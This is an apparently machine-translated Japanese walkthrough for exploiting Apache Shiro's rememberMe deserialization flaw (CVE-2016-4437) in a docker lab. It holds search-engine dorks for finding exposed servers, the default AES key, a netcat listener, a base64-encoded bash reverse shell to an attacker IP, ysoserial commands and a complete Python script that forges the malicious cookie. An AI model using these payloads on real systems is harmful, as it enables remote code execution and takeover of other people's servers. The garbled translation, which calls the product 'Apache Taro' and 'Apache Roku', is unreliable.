記事ディレクトリ
シロの紹介
Apache Taro は、認証、認可、暗号化、セッション管理を実行する強力で使いやすい Java セキュリティ フレームワークであり、あらゆるアプリケーションのセキュリティを保護するために使用できます。
Shiro は、次のことを実行するアプリケーション セキュリティ API を提供します。
1) 認証: ユーザーの身元を証明する (ユーザーの「ログイン」と呼ばれることが多い)、
2) 認可: アクセス制御、
3) 暗号化: データを覗き見から保護または隠す、
4) セッション管理: 各ユーザーの時間に敏感な状態。
上記の 4 つの側面は、アプリケーション セキュリティの 4 つの基礎としても知られています。
史郎履歴の脆弱性
シロ-550
Apache Taro フレームワークにはパスワードを記憶する機能 (RememberMe) があり、ユーザーがログインに成功すると、ユーザー情報は暗号化されて Cookie に保存されます。AES は、Cookie の読み取りプロセス中に Cookie 値を復号化するために使用されますが、
AES などの対称暗号化アルゴリズムの場合、秘密キーが漏洩すると、暗号化は役に立ちません。秘密キーが制御可能で、Cookie の値が攻撃者によって構築された悪意のあるペイロードである場合、プロセスがパススルーされて危険な Java 逆シリアル化が引き起こされ、リモート コマンド実行の脆弱性が発生する可能性があります。
しろ-721
Apache Taro Cookie の AES-128-CBC モードで暗号化された rememberMe フィールドの問題により、ユーザーは Padding Oracle 暗号化によって生成された攻撃コードを通じて悪意のある rememberMe フィールドを構築し、Web サイトにデシリアライゼーションを実行するよう再リクエストする可能性があります。攻撃し、最終的にはコードが実行される
脆弱性の発見
シロ成分の同定
アクセス時、ログイン時のパケットをキャプチャします。レスポンスヘッダのset-cookieにrememberMe=deleteMeと表示されている場合はShiroコンポーネントが使用されていることを意味します
シロの脆弱性検索
fofa、zoomeye、shodan などのプラットフォームを通じて関連する機能を検索して、ターゲットを見つけます。
たとえば、fofa の検索キーワード:
header="rememberme=deleteMe"
header="shiroCookie"
脆弱性検出ツール「Shiro」
https://github.com/fupinglee/ShiroScan
https://github.com/sv3nbeast/ShiroScan
https://github.com/insightglacier/Shiro_exploit
https://github.com/Ares-X/hiro-exploit
Taro rememberMe デシリアライゼーションの脆弱性 (Shiro-550)
CVE-2016-4437
脆弱性の原則
Apache Roku フレームワークにはパスワードを記憶する機能 (RememberMe) が用意されており、ユーザーがログインに成功すると、暗号化およびエンコードされた Cookie が生成されます。サーバー側では、base64 が rememberMe の cookie 値をデコードし、次に AES がそれを復号してから逆シリアル化するため、逆シリアル化 RCE の脆弱性が発生します。
ペイロード生成のプロセス:
コマンド=>シリアル化=>AES暗号化=>Base64エンコーディング=>RememberMe Cookie値
脆弱性を悪用するプロセス全体において、より重要なのは AES 暗号化キーであり、デフォルトのキーが変更されていなければ、キーを知るのは簡単で、ペイロードの構築も非常に簡単です。
影響を受けるバージョン
Apache シロ < 1.2.4
エクスプロイト
cd shiro
ls
cd CVE-2016-4437
docker-compose up -d
訪問範囲アドレス
アクセスし、アカウントのパスワードを入力し、保存を選択し、ログインし、パケットをキャプチャします
ブラストキー
ツールリンク https://github.com/insightglacier/Shiro_exploit
python2 shiro_exploit.py -u http://192.168.88.130:8080/doLogin
*キー値: kPH+bIxk5D2deZiIxcaaaA==
攻撃プレーンは監視するポートを選択し、リバース シェルを実行します。
nc -lvvp 9999
リバースシェルコマンド構築を実行する
コーディング Web サイト: https://ares-x.com/tools/runtime-exec/
bash -c {
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{
base64,-d}|{
bash,-i}
ysoserial 逆シリアル化ツールを使用してポート 1099 をリッスンする
ツールアドレス: https://github.com/frohoff/ysoserial
Kali デプロイメント mvn チュートリアル: Linux インストール maven (詳細なチュートリアル) - Fu Zongle - 博客园
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"
hiro-exp.py スクリプト構築を実行して POC を生成する
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
kPH+bIxk5D2deZiIxcaaaA==
为上面爆破出来的key
rememberMe=OFVHQCs/RnGkisRkCJkP/N+0FnRRUFrcDwQeMtPW1V8LHVWUxJI6zgwy2C5aA/MPRAYJJdeIzS2QxncS+URCDaF8XG7VegsjTo/PpiAWmOYbrkbt+dA+8ywX2C7gc9XKt36qwJV WolZL45O0iljU9b3h5sMhO283RBxgx90MuvGGzzAkCtwdEOB5kvCqyOt6ieAtEfZ0KPadZ17CIiQgno4ZCzCRlrEEuKbt18ROna2GpTQanzrrgPJTMqaW37OWc0yofQ7ULAehM5PPZ7nCDMhziTk H+DtdUJX5kuhE98HENoZLcYma1rWGqS1nqJwhfOegZpLh1Dcuf/5lwP3Yy4k30gRpydc/t6Rlg1LrmQZXEgoAX8zuKNUdd6jlkLN3SmiRa7ueiHAhqrmCnYSP5A==
burpsuite を使用してデータ パッケージを変更し、生成された記憶をそこにコピーします
「送信」をクリックし、リスニング側に戻ってシェルがバウンドするかどうかを確認します。シェルが正常にバウンスしたことがわかります。